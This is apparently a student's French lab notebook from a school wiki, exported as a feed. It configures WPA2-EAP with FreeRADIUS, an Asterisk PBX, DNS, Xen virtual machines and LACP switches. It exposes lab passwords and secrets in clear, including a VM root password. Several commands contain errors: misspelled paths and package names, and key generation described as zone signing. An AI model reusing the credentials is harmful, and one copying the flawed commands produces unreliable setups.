Dans la partition card, j'ai créer un fichier dans /mnt/coffre-fort&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# echo &amp;quot;gros secret&amp;quot; &amp;gt; /mnt/coffre-fort&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cela me permet de vérifier si je peux le retrouver après. Donc j'ai essayé de le retrouver après monter la partition mulan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# ls -l /mnt&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root root    12 déc.   7 19:58 coffre-fort&lt;br /&gt;
drwx------ 2 root root 16384 déc.   7 19:53 lost+found&lt;br /&gt;
root@perche:/home/pifou# cat /mnt/coffre-fort&lt;br /&gt;
gros secret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation Wifi par WPA2-EAP&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le but de cette partie est de contrôler l’accès à la borne Wifi par WPA2-EAP. Pour réussir cela, j'ai commencé par configuré /etc/freeraduis/eap.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = mschapv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai configuré /etc/freeraduis/users&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan Cleartext-Password := &amp;quot;Chencong&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai aussi configuré /etc/freeraduis/client.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client 10.60.1.2/24 {&lt;br /&gt;
       secret          = Mulan&lt;br /&gt;
       shortname       = rex&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que la configuration de freeraduis était faite, j'ai configuré le point d'accès Wifi. Pour le connecter par ma machine virtuelle il fallait faire&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/# telnet 10.60.1.6&lt;br /&gt;
Trying 10.60.1.6...&lt;br /&gt;
Connected to 10.60.1.6.&lt;br /&gt;
Escape character is '^]'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User Access Verification&lt;br /&gt;
&lt;br /&gt;
Username: Cisco&lt;br /&gt;
Password: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai ajouté les lignes comme montré sur le point d'acces Wifi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aaa group server radius radius_mulan&lt;br /&gt;
 server 193.48.57.164 auth-port 1812 acct-port 1813&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
aaa authentication login eap_mulan group radius_mulan&lt;br /&gt;
&lt;br /&gt;
dot11 ssid Mulan&lt;br /&gt;
   vlan 5&lt;br /&gt;
   authentication open eap eap_mulan &lt;br /&gt;
   authentication network-eap eap_mulan &lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
encryption vlan 5 mode ciphers aes-ccm tkip &lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
ssid Mulan&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 subscriber-loop-control&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 bridge-group 5 block-unknown-source&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
 no bridge-group 5 unicast-flooding&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur eeePC il fallait aussi changer /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iface wlan3 inet static&lt;br /&gt;
 address 10.60.5.10&lt;br /&gt;
 netmask 255.255.255.0&lt;br /&gt;
 gateway 10.60.5.1&lt;br /&gt;
 wpa-ssid Mulan&lt;br /&gt;
 wpa-key-mgmt WPA-EAP&lt;br /&gt;
 wpa-eap PEAP&lt;br /&gt;
 wpa-identity Mulan&lt;br /&gt;
 wpa-password Chencong&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;e) Configuration d'un PCBX&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour réussir cette partie, il faut installer un serveur DHCP sur eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install isc-dchp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut aussi installer un paquetage asterisk sur cet eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install asterisk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour que tous les téléphones IP puissent s'y enregistrer avec comme numéro de poste des numéros à partir de 100, il faut modifier le ficher /etc/asterisk/sip.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[chencong]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;71000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&lt;br /&gt;
[clara]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;72000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En meme temps, il faut aussi modifier le fichier /etc/asterisk/extensions.conf. Ce fichier permet d'ajouter des utilisateurs.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include =&amp;gt; demo&lt;br /&gt;
&lt;br /&gt;
exten =&amp;gt; 71000,1,Dial(SIP/chencong)&lt;br /&gt;
exten =&amp;gt; 72000,1,Dial(SIP/clara)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier /etc/bind9/db.mulan.website, il faut changer le serial et ajouter un autre nom de domaine.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42        ; Serial&lt;br /&gt;
&lt;br /&gt;
sip    IN    A    193.48.57.164&lt;br /&gt;
&lt;br /&gt;
_sip._udp    IN SRV    10 1 5060 sip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Chanque fois après la modification de ce fichier, il faut résigner la zone avec les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir les détailles, sur le console j'ai tapé&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
service asterisk start&lt;br /&gt;
asterisk -vvvvv -r&lt;br /&gt;
sip show peers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai peux voir&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan*CLI&amp;gt; sip show peers&lt;br /&gt;
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
chencong/chencong         10.60.5.10                               D  Auto (No)  No             5060     Unmonitored                                  &lt;br /&gt;
clara/clara               10.60.5.103                              D  Auto (No)  No             50032    Unmonitored                                  &lt;br /&gt;
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 2 online, 0 offline]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour faire le test il faut télécharger deux application sipdroid(sur le portable HTC) et ekiga(sur eeePC). J'ai essayé d'appeler ekiga avec le portable HTC. Sur le console,j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Dec 16 16:00:10] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:01:12] NOTICE[5591][C-000001ba]: chan_sip.c:25652 handle_request_invite: Call from '' (85.25.207.90:5108) to extension '972594105693'   &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:02:09] NOTICE[5591][C-000001bb]: chan_sip.c:25652 handle_request_invite: Call from '' (209.126.97.238:5070) to extension '0046184952042' &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-00000008&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-00000009 is ringing&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
    -- SIP/chencong-00000009 answered SIP/clara-00000008&lt;br /&gt;
    -- Remotely bridging SIP/clara-00000008 and SIP/chencong-00000009&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
       &amp;gt; 0x7f373c0a8970 -- Probation passed - setting RTP source address to 10.60.5.103:4002&lt;br /&gt;
[Dec 16 16:02:41] WARNING[5591]: chan_sip.c:4035 retrans_pkt: Retransmission timeout reached on transmission b2988c5312894a9e6a8a38767c07cdca for &lt;br /&gt;
seqno 1 (Critical Response) -- See https://wiki.asterisk.org/wiki/display/AST/SIP+Retransmissions&lt;br /&gt;
Packet timed out after 32000ms with no response&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-00000008'&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-0000000a&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-0000000b is ringing&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-0000000a'&lt;br /&gt;
[Dec 16 16:05:11] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai essayé d'appeler le eeePC par mon portable&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:appel1.jpg&lt;br /&gt;
Fichier:call.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Problème Rencontré=&lt;br /&gt;
Dans ce TP, un moment donné, j'arrivais pas à faire le ping à un routeur par ma machine virtuel. Le problème était que le routeur de l'école n'était pas sur le vlan 130. Donc les paquets ne pouvaient pas passer. Voici un schéma pour expliquer comment ca marche.&lt;br /&gt;
[[Fichier:schema_routage.jpg‎|thumb|center|1200xp|Routage]]&lt;br /&gt;
Donc je peux bien voir qu'il y a une bonne communication entre mon portable et mon eeePC.&lt;br /&gt;
&lt;br /&gt;
=Références=&lt;br /&gt;
Configurations Guide: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3650/software/release/3se/layer2/configuration_guide/b_lay2_3se_3650_cg/b_lay2_3se_3650_cg_chapter_0101.html#task_1275918&lt;br /&gt;
&lt;br /&gt;
Configurations Guide LACP: http://www.cisco.com/c/en/us/td/docs/ios/12_2sb/feature/guide/gigeth.html#wp1087351&lt;br /&gt;
&lt;br /&gt;
LACP: https://fr.wikipedia.org/wiki/IEEE_802.3ad&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39890</id>
		<title>Cahier 2016 groupe n°4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39890"/>
				<updated>2017-03-01T16:15:48Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Plan des séances */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Plan des séances===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Connaissances du TP/ Recherche des informations de LACP/ Familiarisation avec des équipements &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Installation de la machine virtuelle/ Configuration des commutateurs en LACP&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Configuration des switchports en mode trunk/ Mettre des commutateurs dans la salle technique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Câblages des commutateurs dans la salle locale technique/ Création des LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Tests d'intrusion/  Services Internet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (14/11)&lt;br /&gt;
 | Tests d'intrusion (Cassage de mot de passe WPA-PSK par force brute)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | Sécurisation Wifi par WPA2-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | Configuration d'un PCBX&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie I - Réalisation en monome : LACP&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
[[Fichier:travail.jpeg‎|thumb|center|1200xp|TP global]]&lt;br /&gt;
Travail principal: Dans un premier temps mon travail principal c'est de faire la connexion entre la salle E306,E304 et mon propre commutateur. Ensuite il faut connecter mon commutateur avec le commutateur de l'école. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Les matériels nécessaires&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:commutateur.jpeg|Commutateur&lt;br /&gt;
Fichier:LC.jpeg|Adaptateur LC&lt;br /&gt;
Fichier:SC.jpeg|Adaptateur SC&lt;br /&gt;
Fichier:cables.jpeg|Cables&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Le fonctionnement&amp;lt;/h4&amp;gt;&lt;br /&gt;
Dans les images, on peut voir qu'il y deux genres de câbles.Les câbles en rouges sont pour la salle E306 et la salle E304, les câbles en bleus sont pour l'école. Pour communiquer avec mon commutateur il faut brancher les câbles en rouges sur mon commutateur. Ensuite, pour connecter mon commutateur au commutateur de l'école il faut un autre câble. Le LC et le SC sont des adaptateurs.&lt;br /&gt;
&amp;lt;h4&amp;gt;d) La recherche du LACP&amp;lt;/h4&amp;gt;&lt;br /&gt;
LACP (Link Aggregation Control Protocol) est un protocole de niveau 2 du modèle OSI qui permet de grouper plusieurs ports physiques en une seule voie logique.&lt;br /&gt;
La norme décrit l'utilisation de multiples câbles réseau Ethernet ou un port parallèle pour augmenter la rapidité du lien au-delà des limites d'un câble ou d'un seul port, et d'accroître la redondance pour une plus grande disponibilité.&lt;br /&gt;
[[Fichier:LACP.jpeg‎|thumb|center|1200xp|Fonctionnement du LACP]]&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie II - Réalisation de la machine virtuelle&amp;lt;/h2&amp;gt;&lt;br /&gt;
Pour réaliser une machine virtuelle il faut taper la commande comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     xen-create-image --hostname=Mulan --ip=193.48.57.164 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen&lt;br /&gt;
                      --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que ma machine virtuelle est crée j'ai eu des informations comme ci-dessous:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     Hostname                 :       Mulan&lt;br /&gt;
     Distribution             :       jessie&lt;br /&gt;
     MAC Address              :       00:16:3E:20:B9:4F&lt;br /&gt;
     IP Address(es)           :       193.48.57.164&lt;br /&gt;
     RSA Fingerprint          :       ae:b1:59:03:ad:d1:ac:3b:13:df:fe:94:0a:3b:81&lt;br /&gt;
     Root Password            :       EZ5VWgMP&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite avec la commande ls /etc/xen j'arrive à visualiser les machines crées sur xen&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Batman.cfg             Gringe.cfg          Orelsa.cfg            xend-config.sxp&lt;br /&gt;
      Deadpool.cfg           Kdoc.cfg            Pnl.cfg               xl.conf&lt;br /&gt;
      Flash.cfg              Lartiste.cfg        scripts               xlexample.hvm&lt;br /&gt;
      Gradur.cfg             Mulan.cfg           Vald.cfg              xlexample.pvlinux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai lancé la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl create -c /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande est pour visualiser le fichier de ma machine virtuelle Mulan, ici:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl --------  Gérer la machine virtuelle&lt;br /&gt;
      create ----- Démarrer la machine virtuelle&lt;br /&gt;
      -c --------  Avoir la console&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut changer certains paramètres de ma machine virtuelle, donc avec vi j'ai accédé à mon fichier. Après les changements, j'ai eu un fichier comme montré:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      #&lt;br /&gt;
      # Kernel&lt;br /&gt;
      #&lt;br /&gt;
      Kernel  = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
      extra   = 'elevator = noop'&lt;br /&gt;
      ramdisk = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
      vcpus   = '1'&lt;br /&gt;
      memory  = '512'&lt;br /&gt;
      #&lt;br /&gt;
      # Disk device(s)&lt;br /&gt;
      #&lt;br /&gt;
      root = '/dev/xvda2 ro'&lt;br /&gt;
      disk = [&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/disk,img,xvda2,w',&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/swap,img,xvda1,w',&lt;br /&gt;
             ]&lt;br /&gt;
      #&lt;br /&gt;
      # Hostname&lt;br /&gt;
      #&lt;br /&gt;
      name = '/Mulan'&lt;br /&gt;
      #&lt;br /&gt;
      # Networking&lt;br /&gt;
      #&lt;br /&gt;
      vif = [ 'mac = 00:16:3E:20:139:4F,bridge=IMA5sc' ]&lt;br /&gt;
      #&lt;br /&gt;
      # Behavior&lt;br /&gt;
      #&lt;br /&gt;
      on_poweroff = 'destroy'&lt;br /&gt;
      on_reboot   = 'restart'&lt;br /&gt;
      on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir le mot de passe, il faut regarder dans le fichier '''/etc/xen/var/log/xen-tools/Mulan.cfg'''.Souvent le mot de passe est trop long donc pour le changer il faut taper '''passwd'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie III - Configuration des commutateurs en mode LACP &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette parties il faut que je configures deux commutateurs dans le mode LACP avant que je les branche. Ensuite il faut qu'ils    &lt;br /&gt;
soient reliés par des câbles pour voir s'ils peuvent communiquer ou pas.&lt;br /&gt;
[[Fichier:commu.JPG|thumb|center|600xp|Deux commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;b) La configuration&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Switch&amp;gt;            enable&lt;br /&gt;
      Switch#            configure terminal&lt;br /&gt;
      Switch(config) #   interface port-channel 1&lt;br /&gt;
      Switch(config-if)# interface g1/0/1&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# exit&lt;br /&gt;
      Switch(config)#    interface g1/0/2&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# end&lt;br /&gt;
      Switch#            write&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petits rappels: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      port-channel -------- interface virtuelle&lt;br /&gt;
      show int summary ---- savoir les informations des ports et vlans du commutateur&lt;br /&gt;
      10 ports ont été configurés ---- de g1/0/1 à g1/0/10&lt;br /&gt;
      il ne faut surtout pas oublier le write ! ---- enregistrer toutes les configurations&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les memes commandes pour configurer l'autre commutateur sauf que le numéro des ports sont de g0/1 à g0/10.Comme l'autre commutateur est déjà configuré donc avant que j'ai commencé le configurer j'ai supprimé toutes les informations dedans avec '''no vlan x''' Une fois que les configurations sont faites, j'ai lié ces deux commutateurs par des câbles internet.&lt;br /&gt;
[[Fichier:cable.JPG|thumb|center|600xp|Lier les commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Test&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour voir si les ports sont bien connecté avec l'interface virtuelle ou pas il faut faire la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      sh int port-channel&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et j'ai eu un ecran comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   Port-channel1 is up, line protocol is up (connected)&lt;br /&gt;
      Hardware is EtherChannel, address is 4c4e.355e.b901 (bia 4c4e.355e.b901)&lt;br /&gt;
      MTU 1500 bytes, BW 8000000 Kbit, DLY 10 usec,&lt;br /&gt;
         reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;
      Encapsulation ARPA, loopback not set&lt;br /&gt;
      Keepalive set (10 sec)&lt;br /&gt;
      Full-duplex, 1000Mb/s, link type is auto, media type is unknown&lt;br /&gt;
      input flow-control is off, output flow-control is unsupported &lt;br /&gt;
      Members in this channel: Gi0/1 Gi0/2 Gi0/3 Gi0/4 Gi0/5 Gi0/6 Gi0/7 Gi0/8 &lt;br /&gt;
      ARP type: ARPA, ARP Timeout 04:00:00&lt;br /&gt;
      Last input 00:00:00, output 00:13:18, output hang never&lt;br /&gt;
      Last clearing of &amp;quot;show interface&amp;quot; counters never&lt;br /&gt;
      Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;
      Queueing strategy: fifo&lt;br /&gt;
      Output queue: 0/40 (size/max)&lt;br /&gt;
      5 minute input rate 1000 bits/sec, 2 packets/sec&lt;br /&gt;
      5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;
          1583 packets input, 166045 bytes, 0 no buffer&lt;br /&gt;
          Received 1082 broadcasts (1082 multicasts)&lt;br /&gt;
          0 runts, 0 giants, 0 throttles&lt;br /&gt;
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored&lt;br /&gt;
          0 watchdog, 1082 multicast, 0 pause input&lt;br /&gt;
          0 input packets with dribble condition detected&lt;br /&gt;
          1187 packets output, 148752 bytes, 0 underruns&lt;br /&gt;
          0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;
          0 babbles, 0 late collision, 0 deferred&lt;br /&gt;
          0 lost carrier, 0 no carrier, 0 PAUSE output&lt;br /&gt;
          0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Par ces informations je peux bien savoir que mon interface virtuelle est en mode active et il y a que 8 ports qui sont pris en compte.&lt;br /&gt;
[[Fichier:light.JPG|thumb|center|600xp|Les lumières du commutateur]]&lt;br /&gt;
Même par les lumières du commutateur, 8 ports sont en vert et 2 ports sont en orange.&lt;br /&gt;
'''Pourquoi?'''Parce que LACP permet un maximum de 16 ports dont 8 actifs.(voir la référence)&lt;br /&gt;
Pour voir toutes les informations de port-channel 1 il y a une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh lacp 1 internal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec cette commande je peux visualiser tous les ports qui marchent sur cette interface virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Channel group 1&lt;br /&gt;
                            LACP port     Admin     Oper    Port        Port&lt;br /&gt;
Port      Flags   State     Priority      Key       Key     Number      State&lt;br /&gt;
Gi1/0/1   SA      bndl      32768         0x1       0x1     0x102       0x3D  &lt;br /&gt;
Gi1/0/2   SA      bndl      32768         0x1       0x1     0x103       0x3D  &lt;br /&gt;
Gi1/0/3   SA      bndl      32768         0x1       0x1     0x104       0x3D  &lt;br /&gt;
Gi1/0/4   SA      bndl      32768         0x1       0x1     0x105       0x3D  &lt;br /&gt;
Gi1/0/5   SA      bndl      32768         0x1       0x1     0x106       0x3D  &lt;br /&gt;
Gi1/0/6   SA      bndl      32768         0x1       0x1     0x107       0x3D  &lt;br /&gt;
Gi1/0/7   SA      bndl      32768         0x1       0x1     0x108       0x3D  &lt;br /&gt;
Gi1/0/8   SA      bndl      32768         0x1       0x1     0x109       0x3D  &lt;br /&gt;
Gi1/0/9   SA      hot-sby   32768         0x1       0x1     0x10A       0x5   &lt;br /&gt;
Gi1/0/10  SA      hot-sby   32768         0x1       0x1     0x10B       0x5   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie IV - Configurations des switchports en mode trunk &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette séance il faut configurer les switchports en mode trunk ensuite il faut installer les commutateurs dans l'armoire. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Configurations des switchports&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour configurer les switchports il faut utiliser les commandes en bas&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Switch#configure terminal&lt;br /&gt;
Switch(config)#interface XXX                                                &lt;br /&gt;
Switch(config-if)#switchport mode trunk                                         &lt;br /&gt;
Switch(config-if)#switchport trunk encapsulation dot1q                          &lt;br /&gt;
Switch(config-if)#exit   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans mon cas, les interfaces que j'ai configurées sont&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Te1/0/1 Te1/0/2 TenGigabitEthernet1/1 TenGigabitEthernet1/2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir si les switchports ont été bien configuré ou pas il faut taper &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur le console j'ai eu des informations comme suit&lt;br /&gt;
